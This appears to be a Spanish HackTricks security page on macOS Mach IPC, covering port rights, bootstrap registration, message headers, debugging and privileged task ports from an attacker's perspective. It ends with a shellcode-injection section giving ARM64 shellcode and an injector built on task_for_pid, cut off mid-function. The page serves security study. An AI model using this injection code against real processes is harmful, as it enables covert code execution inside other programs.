macOS IPC - Comunicación entre Procesos
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Mensajería Mach a través de Puertos
Información Básica
Mach utiliza tareas como la unidad más pequeña para compartir recursos, y cada tarea puede contener múltiples hilos. Estas tareas e hilos están mapeados 1:1 a procesos y hilos POSIX.
La comunicación entre tareas ocurre a través de la Comunicación Inter-Procesos Mach (IPC), utilizando canales de comunicación unidireccionales. Los mensajes se transfieren entre puertos, que actúan como colas de mensajes gestionadas por el núcleo.
Un puerto es el elemento básico de Mach IPC. Se puede usar para enviar mensajes y recibirlos.
Cada proceso tiene una tabla IPC, donde es posible encontrar los puertos mach del proceso. El nombre de un puerto mach es en realidad un número (un puntero al objeto del núcleo).
Un proceso también puede enviar un nombre de puerto con algunos derechos a una tarea diferente y el núcleo hará que esta entrada en la tabla IPC de la otra tarea aparezca.
Derechos de Puerto
Los derechos de puerto, que definen qué operaciones puede realizar una tarea, son clave para esta comunicación. Los posibles derechos de puerto son (definiciones de aquí):
- Derecho de Recepción, que permite recibir mensajes enviados al puerto. Los puertos Mach son colas MPSC (productor múltiple, consumidor único), lo que significa que solo puede haber un derecho de recepción para cada puerto en todo el sistema (a diferencia de los pipes, donde múltiples procesos pueden tener descriptores de archivo para el extremo de lectura de un pipe).
- Una tarea con el Derecho de Recepción puede recibir mensajes y crear Derechos de Envío, permitiéndole enviar mensajes. Originalmente, solo la propia tarea tiene Derecho de Recepción sobre su puerto.
- Si el propietario del Derecho de Recepción muere o lo mata, el derecho de envío se vuelve inútil (nombre muerto).
- Derecho de Envío, que permite enviar mensajes al puerto.
- El Derecho de Envío puede ser clonado para que una tarea que posee un Derecho de Envío pueda clonar el derecho y otorgarlo a una tercera tarea.
- Tenga en cuenta que los derechos de puerto también pueden ser pasados a través de mensajes Mac.
- Derecho de Envío-una-vez, que permite enviar un mensaje al puerto y luego desaparece.
- Este derecho no puede ser clonado, pero puede ser movido.
- Derecho de conjunto de puertos, que denota un conjunto de puertos en lugar de un solo puerto. Desencolar un mensaje de un conjunto de puertos desencola un mensaje de uno de los puertos que contiene. Los conjuntos de puertos se pueden usar para escuchar en varios puertos simultáneamente, muy parecido a
select
/poll
/epoll
/kqueue
en Unix. - Nombre muerto, que no es un derecho de puerto real, sino simplemente un marcador de posición. Cuando un puerto es destruido, todos los derechos de puerto existentes al puerto se convierten en nombres muertos.
Las tareas pueden transferir derechos de ENVÍO a otros, permitiéndoles enviar mensajes de vuelta. Los derechos de ENVÍO también pueden ser clonados, por lo que una tarea puede duplicar y otorgar el derecho a una tercera tarea. Esto, combinado con un proceso intermediario conocido como el servidor de arranque, permite una comunicación efectiva entre tareas.
Puertos de Archivo
Los puertos de archivo permiten encapsular descriptores de archivo en puertos Mac (usando derechos de puerto Mach). Es posible crear un fileport
a partir de un FD dado usando fileport_makeport
y crear un FD a partir de un fileport usando fileport_makefd
.
Estableciendo una comunicación
Como se mencionó anteriormente, es posible enviar derechos utilizando mensajes Mach, sin embargo, no se puede enviar un derecho sin ya tener un derecho para enviar un mensaje Mach. Entonces, ¿cómo se establece la primera comunicación?
Para esto, el servidor de arranque (launchd en mac) está involucrado, ya que cualquiera puede obtener un derecho de ENVÍO al servidor de arranque, es posible pedirle un derecho para enviar un mensaje a otro proceso:
- La tarea A crea un nuevo puerto, obteniendo el DERECHO DE RECEPCIÓN sobre él.
- La tarea A, siendo la titular del DERECHO DE RECEPCIÓN, genera un DERECHO DE ENVÍO para el puerto.
- La tarea A establece una conexión con el servidor de arranque, y le envía el DERECHO DE ENVÍO para el puerto que generó al principio.
- Recuerde que cualquiera puede obtener un DERECHO DE ENVÍO al servidor de arranque.
- La tarea A envía un mensaje
bootstrap_register
al servidor de arranque para asociar el puerto dado con un nombre comocom.apple.taska
- La tarea B interactúa con el servidor de arranque para ejecutar una búsqueda de arranque lookup para el nombre del servicio (
bootstrap_lookup
). Para que el servidor de arranque pueda responder, la tarea B le enviará un DERECHO DE ENVÍO a un puerto que creó previamente dentro del mensaje de búsqueda. Si la búsqueda es exitosa, el servidor duplica el DERECHO DE ENVÍO recibido de la tarea A y lo transmite a la tarea B.
- Recuerde que cualquiera puede obtener un DERECHO DE ENVÍO al servidor de arranque.
- Con este DERECHO DE ENVÍO, la tarea B es capaz de enviar un mensaje a la tarea A.
- Para una comunicación bidireccional, generalmente la tarea B genera un nuevo puerto con un DERECHO DE RECEPCIÓN y un DERECHO DE ENVÍO, y otorga el DERECHO DE ENVÍO a la tarea A para que pueda enviar mensajes a la TAREA B (comunicación bidireccional).
El servidor de arranque no puede autenticar el nombre del servicio reclamado por una tarea. Esto significa que una tarea podría potencialmente suplantar cualquier tarea del sistema, como reclamar falsamente un nombre de servicio de autorización y luego aprobar cada solicitud.
Luego, Apple almacena los nombres de los servicios proporcionados por el sistema en archivos de configuración seguros, ubicados en directorios protegidos por SIP: /System/Library/LaunchDaemons
y /System/Library/LaunchAgents
. Junto a cada nombre de servicio, también se almacena el binario asociado. El servidor de arranque creará y mantendrá un DERECHO DE RECEPCIÓN para cada uno de estos nombres de servicio.
Para estos servicios predefinidos, el proceso de búsqueda difiere ligeramente. Cuando se busca un nombre de servicio, launchd inicia el servicio dinámicamente. El nuevo flujo de trabajo es el siguiente:
- La tarea B inicia una búsqueda de arranque lookup para un nombre de servicio.
- launchd verifica si la tarea está en ejecución y, si no lo está, la inicia.
- La tarea A (el servicio) realiza un check-in de arranque (
bootstrap_check_in()
). Aquí, el servidor de arranque crea un DERECHO DE ENVÍO, lo retiene y transfiere el DERECHO DE RECEPCIÓN a la tarea A. - launchd duplica el DERECHO DE ENVÍO y se lo envía a la tarea B.
- La tarea B genera un nuevo puerto con un DERECHO DE RECEPCIÓN y un DERECHO DE ENVÍO, y otorga el DERECHO DE ENVÍO a la tarea A (el svc) para que pueda enviar mensajes a la TAREA B (comunicación bidireccional).
Sin embargo, este proceso solo se aplica a tareas del sistema predefinidas. Las tareas no del sistema aún operan como se describió originalmente, lo que podría permitir potencialmente la suplantación.
caution
Por lo tanto, launchd nunca debe fallar o todo el sistema fallará.
Un Mensaje Mach
Encuentra más información aquí
La función mach_msg
, esencialmente una llamada al sistema, se utiliza para enviar y recibir mensajes Mach. La función requiere que el mensaje a enviar sea el argumento inicial. Este mensaje debe comenzar con una estructura mach_msg_header_t
, seguida por el contenido real del mensaje. La estructura se define de la siguiente manera:
typedef struct {
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
Los procesos que poseen un derecho de recepción pueden recibir mensajes en un puerto Mach. Por el contrario, a los remitentes se les otorgan un derecho de envío o un derecho de envío-una-vez. El derecho de envío-una-vez es exclusivamente para enviar un solo mensaje, después del cual se vuelve inválido.
El campo inicial msgh_bits
es un mapa de bits:
- El primer bit (el más significativo) se utiliza para indicar que un mensaje es complejo (más sobre esto a continuación)
- El 3er y 4to se utilizan por el núcleo
- Los 5 bits menos significativos del 2do byte pueden ser utilizados para voucher: otro tipo de puerto para enviar combinaciones de clave/valor.
- Los 5 bits menos significativos del 3er byte pueden ser utilizados para puerto local
- Los 5 bits menos significativos del 4to byte pueden ser utilizados para puerto remoto
Los tipos que se pueden especificar en el voucher, puertos locales y remotos son (de mach/message.h):
#define MACH_MSG_TYPE_MOVE_RECEIVE 16 /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND 17 /* Must hold send right(s) */
#define MACH_MSG_TYPE_MOVE_SEND_ONCE 18 /* Must hold sendonce right */
#define MACH_MSG_TYPE_COPY_SEND 19 /* Must hold send right(s) */
#define MACH_MSG_TYPE_MAKE_SEND 20 /* Must hold receive right */
#define MACH_MSG_TYPE_MAKE_SEND_ONCE 21 /* Must hold receive right */
#define MACH_MSG_TYPE_COPY_RECEIVE 22 /* NOT VALID */
#define MACH_MSG_TYPE_DISPOSE_RECEIVE 24 /* must hold receive right */
#define MACH_MSG_TYPE_DISPOSE_SEND 25 /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26 /* must hold sendonce right */
Por ejemplo, MACH_MSG_TYPE_MAKE_SEND_ONCE
se puede usar para indicar que un derecho de envío único debe ser derivado y transferido para este puerto. También se puede especificar MACH_PORT_NULL
para evitar que el destinatario pueda responder.
Para lograr una comunicación bidireccional fácil, un proceso puede especificar un puerto mach en el encabezado del mensaje mach llamado el puerto de respuesta (msgh_local_port
) donde el receptor del mensaje puede enviar una respuesta a este mensaje.
tip
Tenga en cuenta que este tipo de comunicación bidireccional se utiliza en mensajes XPC que esperan una respuesta (xpc_connection_send_message_with_reply
y xpc_connection_send_message_with_reply_sync
). Pero generalmente se crean diferentes puertos como se explicó anteriormente para crear la comunicación bidireccional.
Los otros campos del encabezado del mensaje son:
msgh_size
: el tamaño de todo el paquete.msgh_remote_port
: el puerto en el que se envía este mensaje.msgh_voucher_port
: vouchers mach.msgh_id
: el ID de este mensaje, que es interpretado por el receptor.
caution
Tenga en cuenta que los mensajes mach se envían a través de un mach port
, que es un canal de comunicación de un solo receptor, múltiples remitentes integrado en el núcleo mach. Múltiples procesos pueden enviar mensajes a un puerto mach, pero en cualquier momento solo un solo proceso puede leer de él.
Los mensajes se forman entonces por el encabezado mach_msg_header_t
seguido del cuerpo y del trailer (si lo hay) y puede otorgar permiso para responder a él. En estos casos, el núcleo solo necesita pasar el mensaje de una tarea a la otra.
Un trailer es información añadida al mensaje por el núcleo (no puede ser establecida por el usuario) que puede ser solicitada en la recepción del mensaje con las banderas MACH_RCV_TRAILER_<trailer_opt>
(hay diferente información que se puede solicitar).
Mensajes Complejos
Sin embargo, hay otros mensajes más complejos, como los que pasan derechos de puerto adicionales o comparten memoria, donde el núcleo también necesita enviar estos objetos al destinatario. En estos casos, el bit más significativo del encabezado msgh_bits
se establece.
Los posibles descriptores para pasar se definen en mach/message.h
:
#define MACH_MSG_PORT_DESCRIPTOR 0
#define MACH_MSG_OOL_DESCRIPTOR 1
#define MACH_MSG_OOL_PORTS_DESCRIPTOR 2
#define MACH_MSG_OOL_VOLATILE_DESCRIPTOR 3
#define MACH_MSG_GUARDED_PORT_DESCRIPTOR 4
#pragma pack(push, 4)
typedef struct{
natural_t pad1;
mach_msg_size_t pad2;
unsigned int pad3 : 24;
mach_msg_descriptor_type_t type : 8;
} mach_msg_type_descriptor_t;
En 32 bits, todos los descriptores son de 12B y el tipo de descriptor está en el undécimo. En 64 bits, los tamaños varían.
caution
El kernel copiará los descriptores de una tarea a otra, pero primero creando una copia en la memoria del kernel. Esta técnica, conocida como "Feng Shui", ha sido abusada en varios exploits para hacer que el kernel copie datos en su memoria, haciendo que un proceso envíe descriptores a sí mismo. Luego, el proceso puede recibir los mensajes (el kernel los liberará).
También es posible enviar derechos de puerto a un proceso vulnerable, y los derechos de puerto simplemente aparecerán en el proceso (incluso si no los está manejando).
Mac Ports APIs
Ten en cuenta que los puertos están asociados al espacio de nombres de la tarea, por lo que para crear o buscar un puerto, también se consulta el espacio de nombres de la tarea (más en mach/mach_port.h
):
mach_port_allocate
|mach_port_construct
: Crear un puerto.mach_port_allocate
también puede crear un conjunto de puertos: derecho de recepción sobre un grupo de puertos. Siempre que se recibe un mensaje, se indica el puerto de donde provino.mach_port_allocate_name
: Cambiar el nombre del puerto (por defecto un entero de 32 bits)mach_port_names
: Obtener nombres de puertos de un objetivomach_port_type
: Obtener derechos de una tarea sobre un nombremach_port_rename
: Renombrar un puerto (como dup2 para FDs)mach_port_allocate
: Asignar un nuevo RECEIVE, PORT_SET o DEAD_NAMEmach_port_insert_right
: Crear un nuevo derecho en un puerto donde tienes RECEIVEmach_port_...
mach_msg
|mach_msg_overwrite
: Funciones utilizadas para enviar y recibir mensajes mach. La versión de sobrescritura permite especificar un búfer diferente para la recepción de mensajes (la otra versión simplemente lo reutilizará).
Debug mach_msg
Dado que las funciones mach_msg
y mach_msg_overwrite
son las que se utilizan para enviar y recibir mensajes, establecer un punto de interrupción en ellas permitiría inspeccionar los mensajes enviados y recibidos.
Por ejemplo, comienza a depurar cualquier aplicación que puedas depurar, ya que cargará libSystem.B
que utilizará esta función.
(lldb) b mach_msg
Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
(lldb) r
Process 71019 launched: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
Process 71019 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
-> 0x181d3ac20 <+0>: pacibsp
0x181d3ac24 <+4>: sub sp, sp, #0x20
0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
0x181d3ac2c <+12>: add x29, sp, #0x10
Target 0: (SandboxedShellApp) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
frame #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
frame #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
frame #3: 0x0000000181a9a710 libxpc.dylib`_xpc_interface_routine + 208
frame #4: 0x0000000181abbe24 libxpc.dylib`_xpc_init_pid_domain + 348
frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
Para obtener los argumentos de mach_msg
, verifica los registros. Estos son los argumentos (de mach/message.h):
__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t mach_msg(
mach_msg_header_t *msg,
mach_msg_option_t option,
mach_msg_size_t send_size,
mach_msg_size_t rcv_size,
mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);
Obtén los valores de los registros:
reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
x1 = 0x0000000003114207 ;mach_msg_option_t (option)
x2 = 0x0000000000000388 ;mach_msg_size_t (send_size)
x3 = 0x0000000000000388 ;mach_msg_size_t (rcv_size)
x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
x6 = 0x0000000000000000 ;mach_port_name_t (notify)
Inspecciona el encabezado del mensaje verificando el primer argumento:
(lldb) x/6w $x0
0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
0x124e04cf8: 0x00000b07 0x40000322
; 0x00131513 -> mach_msg_bits_t (msgh_bits) = 0x13 (MACH_MSG_TYPE_COPY_SEND) in local | 0x1500 (MACH_MSG_TYPE_MAKE_SEND_ONCE) in remote | 0x130000 (MACH_MSG_TYPE_COPY_SEND) in voucher
; 0x00000388 -> mach_msg_size_t (msgh_size)
; 0x00000807 -> mach_port_t (msgh_remote_port)
; 0x00001f03 -> mach_port_t (msgh_local_port)
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
; 0x40000322 -> mach_msg_id_t (msgh_id)
Ese tipo de mach_msg_bits_t
es muy común para permitir una respuesta.
Enumerar puertos
lsmp -p <pid>
sudo lsmp -p 1
Process (1) : launchd
name ipc-object rights flags boost reqs recv send sonce oref qlimit msgcount context identifier type
--------- ---------- ---------- -------- ----- ---- ----- ----- ----- ---- ------ -------- ------------------ ----------- ------------
0x00000203 0x181c4e1d send -------- --- 2 0x00000000 TASK-CONTROL SELF (1) launchd
0x00000303 0x183f1f8d recv -------- 0 --- 1 N 5 0 0x0000000000000000
0x00000403 0x183eb9dd recv -------- 0 --- 1 N 5 0 0x0000000000000000
0x0000051b 0x1840cf3d send -------- --- 2 -> 6 0 0x0000000000000000 0x00011817 (380) WindowServer
0x00000603 0x183f698d recv -------- 0 --- 1 N 5 0 0x0000000000000000
0x0000070b 0x175915fd recv,send ---GS--- 0 --- 1 2 Y 5 0 0x0000000000000000
0x00000803 0x1758794d send -------- --- 1 0x00000000 CLOCK
0x0000091b 0x192c71fd send -------- D-- 1 -> 1 0 0x0000000000000000 0x00028da7 (418) runningboardd
0x00000a6b 0x1d4a18cd send -------- --- 2 -> 16 0 0x0000000000000000 0x00006a03 (92247) Dock
0x00000b03 0x175a5d4d send -------- --- 2 -> 16 0 0x0000000000000000 0x00001803 (310) logd
[...]
0x000016a7 0x192c743d recv,send --TGSI-- 0 --- 1 1 Y 16 0 0x0000000000000000
+ send -------- --- 1 <- 0x00002d03 (81948) seserviced
+ send -------- --- 1 <- 0x00002603 (74295) passd
[...]
El nombre es el nombre predeterminado dado al puerto (ver cómo aumenta en los primeros 3 bytes). El ipc-object
es el identificador único ofuscado del puerto.
Nota también cómo los puertos con solo derechos de send
están identificando al propietario de este (nombre del puerto + pid).
También nota el uso de +
para indicar otras tareas conectadas al mismo puerto.
También es posible usar procesxp para ver también los nombres de servicio registrados (con SIP deshabilitado debido a la necesidad de com.apple.system-task-port
):
procesp 1 ports
Puedes instalar esta herramienta en iOS descargándola de http://newosxbook.com/tools/binpack64-256.tar.gz
Ejemplo de código
Nota cómo el emisor asigna un puerto, crea un derecho de envío para el nombre org.darlinghq.example
y lo envía al servidor de arranque mientras el emisor solicitó el derecho de envío de ese nombre y lo utilizó para enviar un mensaje.
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
Puertos Privilegiados
Hay algunos puertos especiales que permiten realizar ciertas acciones sensibles o acceder a ciertos datos sensibles en caso de que una tarea tenga los permisos de SEND sobre ellos. Esto hace que estos puertos sean muy interesantes desde la perspectiva de un atacante, no solo por las capacidades, sino porque es posible compartir permisos de SEND entre tareas.
Puertos Especiales del Host
Estos puertos están representados por un número.
Los derechos de SEND se pueden obtener llamando a host_get_special_port
y los derechos de RECEIVE llamando a host_set_special_port
. Sin embargo, ambas llamadas requieren el puerto host_priv
al que solo puede acceder root. Además, en el pasado, root podía llamar a host_set_special_port
y secuestrar arbitrariamente, lo que permitía, por ejemplo, eludir las firmas de código al secuestrar HOST_KEXTD_PORT
(SIP ahora previene esto).
Estos se dividen en 2 grupos: Los primeros 7 puertos son propiedad del kernel, siendo el 1 HOST_PORT
, el 2 HOST_PRIV_PORT
, el 3 HOST_IO_MASTER_PORT
y el 7 es HOST_MAX_SPECIAL_KERNEL_PORT
.
Los que comienzan desde el número 8 son propiedad de los demonios del sistema y se pueden encontrar declarados en host_special_ports.h
.
- Puerto del host: Si un proceso tiene privilegio de SEND sobre este puerto, puede obtener información sobre el sistema llamando a sus rutinas como:
host_processor_info
: Obtener información del procesadorhost_info
: Obtener información del hosthost_virtual_physical_table_info
: Tabla de páginas Virtual/Física (requiere MACH_VMDEBUG)host_statistics
: Obtener estadísticas del hostmach_memory_info
: Obtener diseño de memoria del kernel- Puerto Priv del Host: Un proceso con derecho de SEND sobre este puerto puede realizar acciones privilegiadas como mostrar datos de arranque o intentar cargar una extensión del kernel. El proceso necesita ser root para obtener este permiso.
- Además, para llamar a la API
kext_request
es necesario tener otros derechoscom.apple.private.kext*
que solo se otorgan a los binarios de Apple. - Otras rutinas que se pueden llamar son:
host_get_boot_info
: Obtenermachine_boot_info()
host_priv_statistics
: Obtener estadísticas privilegiadasvm_allocate_cpm
: Asignar Memoria Física Contiguahost_processors
: Derecho de envío a los procesadores del hostmach_vm_wire
: Hacer que la memoria sea residente- Como root puede acceder a este permiso, podría llamar a
host_set_[special/exception]_port[s]
para secuestrar puertos especiales o de excepción del host.
Es posible ver todos los puertos especiales del host ejecutando:
procexp all ports | grep "HSP"
Tareas Puertos Especiales
Estos son puertos reservados para servicios bien conocidos. Es posible obtener/establecerlos llamando a task_[get/set]_special_port
. Se pueden encontrar en task_special_ports.h
:
typedef int task_special_port_t;
#define TASK_KERNEL_PORT 1 /* Represents task to the outside
world.*/
#define TASK_HOST_PORT 2 /* The host (priv) port for task. */
#define TASK_BOOTSTRAP_PORT 4 /* Bootstrap environment for task. */
#define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */
#define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */
- TASK_KERNEL_PORT[derecho de envío de tarea-propia]: El puerto utilizado para controlar esta tarea. Se utiliza para enviar mensajes que afectan a la tarea. Este es el puerto devuelto por mach_task_self (ver Puertos de Tarea a continuación).
- TASK_BOOTSTRAP_PORT[derecho de envío de arranque]: El puerto de arranque de la tarea. Se utiliza para enviar mensajes solicitando el retorno de otros puertos de servicio del sistema.
- TASK_HOST_NAME_PORT[derecho de envío de host-propio]: El puerto utilizado para solicitar información del host contenedor. Este es el puerto devuelto por mach_host_self.
- TASK_WIRED_LEDGER_PORT[derecho de envío de libro mayor]: El puerto que nombra la fuente de la que esta tarea obtiene su memoria de kernel fija.
- TASK_PAGED_LEDGER_PORT[derecho de envío de libro mayor]: El puerto que nombra la fuente de la que esta tarea obtiene su memoria gestionada por defecto.
Puertos de Tarea
Originalmente Mach no tenía "procesos", tenía "tareas" que se consideraban más como un contenedor de hilos. Cuando Mach se fusionó con BSD cada tarea estaba correlacionada con un proceso BSD. Por lo tanto, cada proceso BSD tiene los detalles que necesita para ser un proceso y cada tarea Mach también tiene su funcionamiento interno (excepto por el pid inexistente 0 que es el kernel_task
).
Hay dos funciones muy interesantes relacionadas con esto:
task_for_pid(target_task_port, pid, &task_port_of_pid)
: Obtiene un derecho de ENVÍO para el puerto de tarea de la tarea relacionada con el especificado por elpid
y lo otorga altarget_task_port
indicado (que generalmente es la tarea llamadora que ha utilizadomach_task_self()
, pero podría ser un puerto de ENVÍO sobre una tarea diferente).pid_for_task(task, &pid)
: Dado un derecho de ENVÍO a una tarea, encuentra a qué PID está relacionada esta tarea.
Para realizar acciones dentro de la tarea, la tarea necesitaba un derecho de ENVÍO
a sí misma llamando a mach_task_self()
(que utiliza el task_self_trap
(28)). Con este permiso, una tarea puede realizar varias acciones como:
task_threads
: Obtener derecho de ENVÍO sobre todos los puertos de tarea de los hilos de la tareatask_info
: Obtener información sobre una tareatask_suspend/resume
: Suspender o reanudar una tareatask_[get/set]_special_port
thread_create
: Crear un hilotask_[get/set]_state
: Controlar el estado de la tarea- y más se puede encontrar en mach/task.h
caution
Tenga en cuenta que con un derecho de ENVÍO sobre un puerto de tarea de una tarea diferente, es posible realizar tales acciones sobre una tarea diferente.
Además, el task_port es también el puerto vm_map
que permite leer y manipular memoria dentro de una tarea con funciones como vm_read()
y vm_write()
. Esto significa básicamente que una tarea con derechos de ENVÍO sobre el task_port de una tarea diferente podrá inyectar código en esa tarea.
Recuerde que debido a que el kernel también es una tarea, si alguien logra obtener permisos de ENVÍO sobre el kernel_task
, podrá hacer que el kernel ejecute cualquier cosa (jailbreaks).
- Llame a
mach_task_self()
para obtener el nombre de este puerto para la tarea llamadora. Este puerto solo se hereda a través deexec()
; una nueva tarea creada confork()
obtiene un nuevo puerto de tarea (como caso especial, una tarea también obtiene un nuevo puerto de tarea después deexec()
en un binario suid). La única forma de generar una tarea y obtener su puerto es realizar el "baile de intercambio de puertos" mientras se realiza unfork()
. - Estas son las restricciones para acceder al puerto (de
macos_task_policy
del binarioAppleMobileFileIntegrity
): - Si la aplicación tiene el
com.apple.security.get-task-allow
derecho los procesos del mismo usuario pueden acceder al puerto de tarea (comúnmente agregado por Xcode para depuración). El proceso de notarización no lo permitirá en lanzamientos de producción. - Las aplicaciones con el derecho
com.apple.system-task-ports
pueden obtener el puerto de tarea para cualquier proceso, excepto el kernel. En versiones anteriores se llamabatask_for_pid-allow
. Esto solo se concede a aplicaciones de Apple. - Root puede acceder a los puertos de tarea de aplicaciones no compiladas con un runtime endurecido (y no de Apple).
El puerto de nombre de tarea: Una versión no privilegiada del puerto de tarea. Hace referencia a la tarea, pero no permite controlarla. Lo único que parece estar disponible a través de él es task_info()
.
Puertos de Hilo
Los hilos también tienen puertos asociados, que son visibles desde la tarea que llama a task_threads
y desde el procesador con processor_set_threads
. Un derecho de ENVÍO al puerto de hilo permite usar la función del subsistema thread_act
, como:
thread_terminate
thread_[get/set]_state
act_[get/set]_state
thread_[suspend/resume]
thread_info
- ...
Cualquier hilo puede obtener este puerto llamando a mach_thread_sef
.
Inyección de Shellcode en hilo a través del puerto de Tarea
Puedes obtener un shellcode de:
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
Compila el programa anterior y añade los entitlements para poder inyectar código con el mismo usuario (si no, necesitarás usar sudo).
sc_injector.m
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
// Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669
// and on https://newosxbook.com/src.jl?tree=listings&file=inject.c
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>
#ifdef __arm64__
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
